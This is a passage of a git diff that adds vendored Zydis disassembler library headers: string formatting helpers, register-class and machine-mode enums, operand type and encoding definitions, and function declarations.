ZyanStringView* prefix, + const ZyanStringView* suffix) +{ + static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+"); + static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-"); + + if (value < 0) + { + ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub)); + if (prefix) + { + ZYAN_CHECK(ZydisStringAppend(string, prefix)); + } + return ZydisStringAppendDecU(string, ZyanAbsI64(value), padding_length, + (const ZyanStringView*)ZYAN_NULL, suffix); + } + + if (force_sign) + { + ZYAN_ASSERT(value >= 0); + ZYAN_CHECK(ZydisStringAppendShort(string, &str_add)); + } + return ZydisStringAppendDecU(string, value, padding_length, prefix, suffix); +} + +/** + * Formats the given unsigned ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param uppercase Set `ZYAN_TRUE` to use uppercase letters ('A'-'F') instead of lowercase + * ones ('a'-'f'). + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZyanStatus ZydisStringAppendHexU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length, + ZyanBool uppercase, const ZyanStringView* prefix, const ZyanStringView* suffix); + +/** + * Formats the given signed ordinal `value` to its hexadecimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the string. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length` (the sign char is ignored). + * @param uppercase Set `ZYAN_TRUE` to print the hexadecimal value in uppercase letters + * instead of lowercase ones. + * @param force_sign Set to `ZYAN_TRUE`, to force printing of the `+` sign for positive + * numbers. + * @param prefix The string to use as prefix or `NULL`, if not needed. + * @param suffix The string to use as suffix or `NULL`, if not needed. + * + * @return `ZYAN_STATUS_SUCCESS`, if the function succeeded, or + * `ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE`, if the size of the buffer was not + * sufficient to append the given `value`. + * + * The string-buffer pointer is increased by the number of chars written, if the call was + * successful. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendHexS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool uppercase, ZyanBool force_sign, const ZyanStringView* prefix, + const ZyanStringView* suffix) +{ + static const ZydisShortString str_add = ZYDIS_MAKE_SHORTSTRING("+"); + static const ZydisShortString str_sub = ZYDIS_MAKE_SHORTSTRING("-"); + + if (value < 0) + { + ZYAN_CHECK(ZydisStringAppendShort(string, &str_sub)); + if (prefix) + { + ZYAN_CHECK(ZydisStringAppend(string, prefix)); + } + return ZydisStringAppendHexU(string, ZyanAbsI64(value), padding_length, uppercase, + (const ZyanStringView*)ZYAN_NULL, suffix); + } + + if (force_sign) + { + ZYAN_ASSERT(value >= 0); + ZYAN_CHECK(ZydisStringAppendShort(string, &str_add)); + } + return ZydisStringAppendHexU(string, value, padding_length, uppercase, prefix, suffix); +} + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif // ZYDIS_INTERNAL_STRING_H diff --git a/Theodosius/Zydis/MetaInfo.h b/Theodosius/Zydis/MetaInfo.h new file mode 100644 index 0000000..6867d32 --- /dev/null +++ b/Theodosius/Zydis/MetaInfo.h @@ -0,0 +1,88 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * @brief + */ + +#ifndef ZYDIS_METAINFO_H +#define ZYDIS_METAINFO_H + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#include +#include +#include + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + + /** + * Returns the specified instruction category string. + * + * @param category The instruction category. + * + * @return The instruction category string or `ZYAN_NULL`, if an invalid category was passed. + */ +ZYDIS_EXPORT const char* ZydisCategoryGetString(ZydisInstructionCategory category); + +/** + * Returns the specified isa-set string. + * + * @param isa_set The isa-set. + * + * @return The isa-set string or `ZYAN_NULL`, if an invalid isa-set was passed. + */ +ZYDIS_EXPORT const char* ZydisISASetGetString(ZydisISASet isa_set); + +/** + * Returns the specified isa-extension string. + * + * @param isa_ext The isa-extension. + * + * @return The isa-extension string or `ZYAN_NULL`, if an invalid isa-extension was passed. + */ +ZYDIS_EXPORT const char* ZydisISAExtGetString(ZydisISAExt isa_ext); + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_METAINFO_H */ diff --git a/Theodosius/Zydis/Mnemonic.h b/Theodosius/Zydis/Mnemonic.h new file mode 100644 index 0000000..dd8fec8 --- /dev/null +++ b/Theodosius/Zydis/Mnemonic.h @@ -0,0 +1,88 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Mnemonic constant definitions and helper functions. + */ + +#ifndef ZYDIS_MNEMONIC_H +#define ZYDIS_MNEMONIC_H + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +#include + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup mnemonic Mnemonic + * Functions for retrieving mnemonic names. + * @{ + */ + +/** + * Returns the specified instruction mnemonic string. + * + * @param mnemonic The mnemonic. + * + * @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed. + */ +ZYDIS_EXPORT const char* ZydisMnemonicGetString(ZydisMnemonic mnemonic); + +/** + * Returns the specified instruction mnemonic as `ZydisShortString`. + * + * @param mnemonic The mnemonic. + * + * @return The instruction mnemonic string or `ZYAN_NULL`, if an invalid mnemonic was passed. + * + * The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case. + */ +ZYDIS_EXPORT const ZydisShortString* ZydisMnemonicGetStringWrapped(ZydisMnemonic mnemonic); + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_MNEMONIC_H */ diff --git a/Theodosius/Zydis/Register.h b/Theodosius/Zydis/Register.h new file mode 100644 index 0000000..0ff955f --- /dev/null +++ b/Theodosius/Zydis/Register.h @@ -0,0 +1,293 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Utility functions and constants for registers. + */ + +#ifndef ZYDIS_REGISTER_H +#define ZYDIS_REGISTER_H + +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Registers */ +/* ---------------------------------------------------------------------------------------------- */ + +#include + +/* ---------------------------------------------------------------------------------------------- */ +/* Register classes */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterClass` enum. + * + * Please note that this enum does not contain a matching entry for all values of the + * `ZydisRegister` enum, but only for those registers where it makes sense to logically group them + * for decoding/encoding purposes. + * + * These are mainly the registers that can be identified by an id within their corresponding + * register-class. The `IP` and `FLAGS` values are exceptions to this rule. + */ +typedef enum ZydisRegisterClass_ +{ + ZYDIS_REGCLASS_INVALID, + /** + * 8-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR8, + /** + * 16-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR16, + /** + * 32-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR32, + /** + * 64-bit general-purpose registers. + */ + ZYDIS_REGCLASS_GPR64, + /** + * Floating point legacy registers. + */ + ZYDIS_REGCLASS_X87, + /** + * Floating point multimedia registers. + */ + ZYDIS_REGCLASS_MMX, + /** + * 128-bit vector registers. + */ + ZYDIS_REGCLASS_XMM, + /** + * 256-bit vector registers. + */ + ZYDIS_REGCLASS_YMM, + /** + * 512-bit vector registers. + */ + ZYDIS_REGCLASS_ZMM, + /** + * Matrix registers. + */ + ZYDIS_REGCLASS_TMM, + /* + * Flags registers. + */ + ZYDIS_REGCLASS_FLAGS, + /** + * Instruction-pointer registers. + */ + ZYDIS_REGCLASS_IP, + /** + * Segment registers. + */ + ZYDIS_REGCLASS_SEGMENT, + /** + * Test registers. + */ + ZYDIS_REGCLASS_TEST, + /** + * Control registers. + */ + ZYDIS_REGCLASS_CONTROL, + /** + * Debug registers. + */ + ZYDIS_REGCLASS_DEBUG, + /** + * Mask registers. + */ + ZYDIS_REGCLASS_MASK, + /** + * Bound registers. + */ + ZYDIS_REGCLASS_BOUND, + + /** + * Maximum value of this enum. + */ + ZYDIS_REGCLASS_MAX_VALUE = ZYDIS_REGCLASS_BOUND, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_REGCLASS_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_REGCLASS_MAX_VALUE) +} ZydisRegisterClass; + +/* ---------------------------------------------------------------------------------------------- */ +/* Register width */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterWidth` data-type. + */ +typedef ZyanU16 ZydisRegisterWidth; + +/* ---------------------------------------------------------------------------------------------- */ +/* Register context */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisRegisterContext` struct. + */ +typedef struct ZydisRegisterContext_ +{ + /** + * The values stored in the register context. + */ + ZyanU64 values[ZYDIS_REGISTER_MAX_VALUE + 1]; +} ZydisRegisterContext; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/** + * @addtogroup register Register + * Functions allowing retrieval of information about registers. + * @{ + */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Register */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the register specified by the `register_class` and `id` tuple. + * + * @param register_class The register class. + * @param id The register id. + * + * @return The register specified by the `register_class` and `id` tuple or `ZYDIS_REGISTER_NONE`, + * if an invalid parameter was passed. + */ +ZYDIS_EXPORT ZydisRegister ZydisRegisterEncode(ZydisRegisterClass register_class, ZyanU8 id); + +/** + * Returns the id of the specified register. + * + * @param reg The register. + * + * @return The id of the specified register, or -1 if an invalid parameter was passed. + */ +ZYDIS_EXPORT ZyanI8 ZydisRegisterGetId(ZydisRegister reg); + +/** + * Returns the register-class of the specified register. + * + * @param reg The register. + * + * @return The register-class of the specified register. + */ +ZYDIS_EXPORT ZydisRegisterClass ZydisRegisterGetClass(ZydisRegister reg); + +/** + * Returns the width of the specified register. + * + * @param mode The active machine mode. + * @param reg The register. + * + * @return The width of the specified register, or `ZYDIS_REGISTER_NONE` if the register is + * invalid for the active machine-mode. + */ +ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterGetWidth(ZydisMachineMode mode, ZydisRegister reg); + +/** + * Returns the largest enclosing register of the given register. + * + * @param mode The active machine mode. + * @param reg The register. + * + * @return The largest enclosing register of the given register, or `ZYDIS_REGISTER_NONE` if the + * register is invalid for the active machine-mode or does not have an enclosing-register. + */ +ZYDIS_EXPORT ZydisRegister ZydisRegisterGetLargestEnclosing(ZydisMachineMode mode, + ZydisRegister reg); + +/** + * Returns the specified register string. + * + * @param reg The register. + * + * @return The register string or `ZYAN_NULL`, if an invalid register was passed. + */ +ZYDIS_EXPORT const char* ZydisRegisterGetString(ZydisRegister reg); + +/** + * Returns the specified register string as `ZydisShortString`. + * + * @param reg The register. + * + * @return The register string or `ZYAN_NULL`, if an invalid register was passed. + * + * The `buffer` of the returned struct is guaranteed to be zero-terminated in this special case. + */ +ZYDIS_EXPORT const ZydisShortString* ZydisRegisterGetStringWrapped(ZydisRegister reg); + +/* ---------------------------------------------------------------------------------------------- */ +/* Register class */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the width of the specified register-class. + * + * @param mode The active machine mode. + * @param register_class The register class. + * + * @return The width of the specified register. + */ +ZYDIS_EXPORT ZydisRegisterWidth ZydisRegisterClassGetWidth(ZydisMachineMode mode, + ZydisRegisterClass register_class); + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * @} + */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_REGISTER_H */ diff --git a/Theodosius/Zydis/SharedTypes.h b/Theodosius/Zydis/SharedTypes.h new file mode 100644 index 0000000..82a4121 --- /dev/null +++ b/Theodosius/Zydis/SharedTypes.h @@ -0,0 +1,480 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Defines decoder/encoder-shared macros and types. + */ + +#ifndef ZYDIS_SHAREDTYPES_H +#define ZYDIS_SHAREDTYPES_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constants */ +/* ---------------------------------------------------------------------------------------------- */ + +#define ZYDIS_MAX_INSTRUCTION_LENGTH 15 +#define ZYDIS_MAX_OPERAND_COUNT 10 + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Machine mode */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMachineMode` enum. + */ +typedef enum ZydisMachineMode_ +{ + /** + * 64 bit mode. + */ + ZYDIS_MACHINE_MODE_LONG_64, + /** + * 32 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LONG_COMPAT_32, + /** + * 16 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LONG_COMPAT_16, + /** + * 32 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LEGACY_32, + /** + * 16 bit protected mode. + */ + ZYDIS_MACHINE_MODE_LEGACY_16, + /** + * 16 bit real mode. + */ + ZYDIS_MACHINE_MODE_REAL_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_MACHINE_MODE_MAX_VALUE = ZYDIS_MACHINE_MODE_REAL_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MACHINE_MODE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MACHINE_MODE_MAX_VALUE) +} ZydisMachineMode; + +/* ---------------------------------------------------------------------------------------------- */ +/* Address width */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisAddressWidth` enum. + */ +typedef enum ZydisAddressWidth_ +{ + ZYDIS_ADDRESS_WIDTH_16, + ZYDIS_ADDRESS_WIDTH_32, + ZYDIS_ADDRESS_WIDTH_64, + + /** + * Maximum value of this enum. + */ + ZYDIS_ADDRESS_WIDTH_MAX_VALUE = ZYDIS_ADDRESS_WIDTH_64, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ADDRESS_WIDTH_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ADDRESS_WIDTH_MAX_VALUE) +} ZydisAddressWidth; + +/* ---------------------------------------------------------------------------------------------- */ +/* Element type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisElementType` enum. + */ +typedef enum ZydisElementType_ +{ + ZYDIS_ELEMENT_TYPE_INVALID, + /** + * A struct type. + */ + ZYDIS_ELEMENT_TYPE_STRUCT, + /** + * Unsigned integer value. + */ + ZYDIS_ELEMENT_TYPE_UINT, + /** + * Signed integer value. + */ + ZYDIS_ELEMENT_TYPE_INT, + /** + * 16-bit floating point value (`half`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT16, + /** + * 32-bit floating point value (`single`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT32, + /** + * 64-bit floating point value (`double`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT64, + /** + * 80-bit floating point value (`extended`). + */ + ZYDIS_ELEMENT_TYPE_FLOAT80, + /** + * Binary coded decimal value. + */ + ZYDIS_ELEMENT_TYPE_LONGBCD, + /** + * A condition code (e.g. used by `CMPPD`, `VCMPPD`, ...). + */ + ZYDIS_ELEMENT_TYPE_CC, + + /** + * Maximum value of this enum. + */ + ZYDIS_ELEMENT_TYPE_MAX_VALUE = ZYDIS_ELEMENT_TYPE_CC, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_ELEMENT_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ELEMENT_TYPE_MAX_VALUE) +} ZydisElementType; + +/* ---------------------------------------------------------------------------------------------- */ +/* Element size */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisElementSize` datatype. + */ +typedef ZyanU16 ZydisElementSize; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand type */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandType` enum. + */ +typedef enum ZydisOperandType_ +{ + /** + * The operand is not used. + */ + ZYDIS_OPERAND_TYPE_UNUSED, + /** + * The operand is a register operand. + */ + ZYDIS_OPERAND_TYPE_REGISTER, + /** + * The operand is a memory operand. + */ + ZYDIS_OPERAND_TYPE_MEMORY, + /** + * The operand is a pointer operand with a segment:offset lvalue. + */ + ZYDIS_OPERAND_TYPE_POINTER, + /** + * The operand is an immediate operand. + */ + ZYDIS_OPERAND_TYPE_IMMEDIATE, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPERAND_TYPE_MAX_VALUE = ZYDIS_OPERAND_TYPE_IMMEDIATE, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPERAND_TYPE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_TYPE_MAX_VALUE) +} ZydisOperandType; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand encoding */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandEncoding` enum. + */ +typedef enum ZydisOperandEncoding_ +{ + ZYDIS_OPERAND_ENCODING_NONE, + ZYDIS_OPERAND_ENCODING_MODRM_REG, + ZYDIS_OPERAND_ENCODING_MODRM_RM, + ZYDIS_OPERAND_ENCODING_OPCODE, + ZYDIS_OPERAND_ENCODING_NDSNDD, + ZYDIS_OPERAND_ENCODING_IS4, + ZYDIS_OPERAND_ENCODING_MASK, + ZYDIS_OPERAND_ENCODING_DISP8, + ZYDIS_OPERAND_ENCODING_DISP16, + ZYDIS_OPERAND_ENCODING_DISP32, + ZYDIS_OPERAND_ENCODING_DISP64, + ZYDIS_OPERAND_ENCODING_DISP16_32_64, + ZYDIS_OPERAND_ENCODING_DISP32_32_64, + ZYDIS_OPERAND_ENCODING_DISP16_32_32, + ZYDIS_OPERAND_ENCODING_UIMM8, + ZYDIS_OPERAND_ENCODING_UIMM16, + ZYDIS_OPERAND_ENCODING_UIMM32, + ZYDIS_OPERAND_ENCODING_UIMM64, + ZYDIS_OPERAND_ENCODING_UIMM16_32_64, + ZYDIS_OPERAND_ENCODING_UIMM32_32_64, + ZYDIS_OPERAND_ENCODING_UIMM16_32_32, + ZYDIS_OPERAND_ENCODING_SIMM8, + ZYDIS_OPERAND_ENCODING_SIMM16, + ZYDIS_OPERAND_ENCODING_SIMM32, + ZYDIS_OPERAND_ENCODING_SIMM64, + ZYDIS_OPERAND_ENCODING_SIMM16_32_64, + ZYDIS_OPERAND_ENCODING_SIMM32_32_64, + ZYDIS_OPERAND_ENCODING_SIMM16_32_32, + ZYDIS_OPERAND_ENCODING_JIMM8, + ZYDIS_OPERAND_ENCODING_JIMM16, + ZYDIS_OPERAND_ENCODING_JIMM32, + ZYDIS_OPERAND_ENCODING_JIMM64, + ZYDIS_OPERAND_ENCODING_JIMM16_32_64, + ZYDIS_OPERAND_ENCODING_JIMM32_32_64, + ZYDIS_OPERAND_ENCODING_JIMM16_32_32, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPERAND_ENCODING_MAX_VALUE = ZYDIS_OPERAND_ENCODING_JIMM16_32_32, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPERAND_ENCODING_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ENCODING_MAX_VALUE) +} ZydisOperandEncoding; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand visibility */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandVisibility` enum. + */ +typedef enum ZydisOperandVisibility_ +{ + ZYDIS_OPERAND_VISIBILITY_INVALID, + /** + * The operand is explicitly encoded in the instruction. + */ + ZYDIS_OPERAND_VISIBILITY_EXPLICIT, + /** + * The operand is part of the opcode, but listed as an operand. + */ + ZYDIS_OPERAND_VISIBILITY_IMPLICIT, + /** + * The operand is part of the opcode, and not typically listed as an operand. + */ + ZYDIS_OPERAND_VISIBILITY_HIDDEN, + + /** + * Maximum value of this enum. + */ + ZYDIS_OPERAND_VISIBILITY_MAX_VALUE = ZYDIS_OPERAND_VISIBILITY_HIDDEN, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_OPERAND_VISIBILITY_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_VISIBILITY_MAX_VALUE) +} ZydisOperandVisibility; + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand action */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOperandAction` enum. + */ +typedef enum ZydisOperandAction_ +{ + /* ------------------------------------------------------------------------------------------ */ + /* Elemental actions */ + /* ------------------------------------------------------------------------------------------ */ + + /** + * The operand is read by the instruction. + */ + ZYDIS_OPERAND_ACTION_READ = 0x01, + /** + * The operand is written by the instruction (must write). + */ + ZYDIS_OPERAND_ACTION_WRITE = 0x02, + /** + * The operand is conditionally read by the instruction. + */ + ZYDIS_OPERAND_ACTION_CONDREAD = 0x04, + /** + * The operand is conditionally written by the instruction (may write). + */ + ZYDIS_OPERAND_ACTION_CONDWRITE = 0x08, + + /* ------------------------------------------------------------------------------------------ */ + /* Combined actions */ + /* ------------------------------------------------------------------------------------------ */ + + /** + * The operand is read (must read) and written by the instruction (must write). + */ + ZYDIS_OPERAND_ACTION_READWRITE = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_WRITE, + /** + * The operand is conditionally read (may read) and conditionally written by + * the instruction (may write). + */ + ZYDIS_OPERAND_ACTION_CONDREAD_CONDWRITE = + ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_CONDWRITE, + /** + * The operand is read (must read) and conditionally written by the + * instruction (may write). + */ + ZYDIS_OPERAND_ACTION_READ_CONDWRITE = + ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDWRITE, + /** + * The operand is written (must write) and conditionally read by the + * instruction (may read). + */ + ZYDIS_OPERAND_ACTION_CONDREAD_WRITE = + ZYDIS_OPERAND_ACTION_CONDREAD | ZYDIS_OPERAND_ACTION_WRITE, + + /** + * Mask combining all reading access flags. + */ + ZYDIS_OPERAND_ACTION_MASK_READ = ZYDIS_OPERAND_ACTION_READ | ZYDIS_OPERAND_ACTION_CONDREAD, + /** + * Mask combining all writing access flags. + */ + ZYDIS_OPERAND_ACTION_MASK_WRITE = ZYDIS_OPERAND_ACTION_WRITE | ZYDIS_OPERAND_ACTION_CONDWRITE, + + /* ------------------------------------------------------------------------------------------ */ + + /** + * The minimum number of bits required to represent all values of this bitset. + */ + ZYDIS_OPERAND_ACTION_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_OPERAND_ACTION_CONDWRITE) +} ZydisOperandAction; + +/** + * Defines the `ZydisOperandActions` data-type. + */ +typedef ZyanU8 ZydisOperandActions; + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction encoding */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisInstructionEncoding` enum. + */ +typedef enum ZydisInstructionEncoding_ +{ + /** + * The instruction uses the legacy encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_LEGACY, + /** + * The instruction uses the AMD 3DNow-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_3DNOW, + /** + * The instruction uses the AMD XOP-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_XOP, + /** + * The instruction uses the VEX-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_VEX, + /** + * The instruction uses the EVEX-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_EVEX, + /** + * The instruction uses the MVEX-encoding. + */ + ZYDIS_INSTRUCTION_ENCODING_MVEX, + + /** + * Maximum value of this enum. + */ + ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE = ZYDIS_INSTRUCTION_ENCODING_MVEX, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_INSTRUCTION_ENCODING_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_INSTRUCTION_ENCODING_MAX_VALUE) +} ZydisInstructionEncoding; + +/* ---------------------------------------------------------------------------------------------- */ +/* Opcode map */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisOpcodeMap` enum. + */ +typedef enum ZydisOpcodeMap_ +{ + ZYDIS_OPCODE_MAP_DEFAULT, + ZYDIS_OPCODE_MAP_0F, + ZYDIS_OPCODE_MAP_0F38, + ZYDIS_OPCODE_MAP_0F3A, + ZYDIS_OPCODE_MAP_0F0F, + ZYDIS_OPCODE_MAP_XOP8, + ZYDIS_OPCODE_MAP_XOP9, + 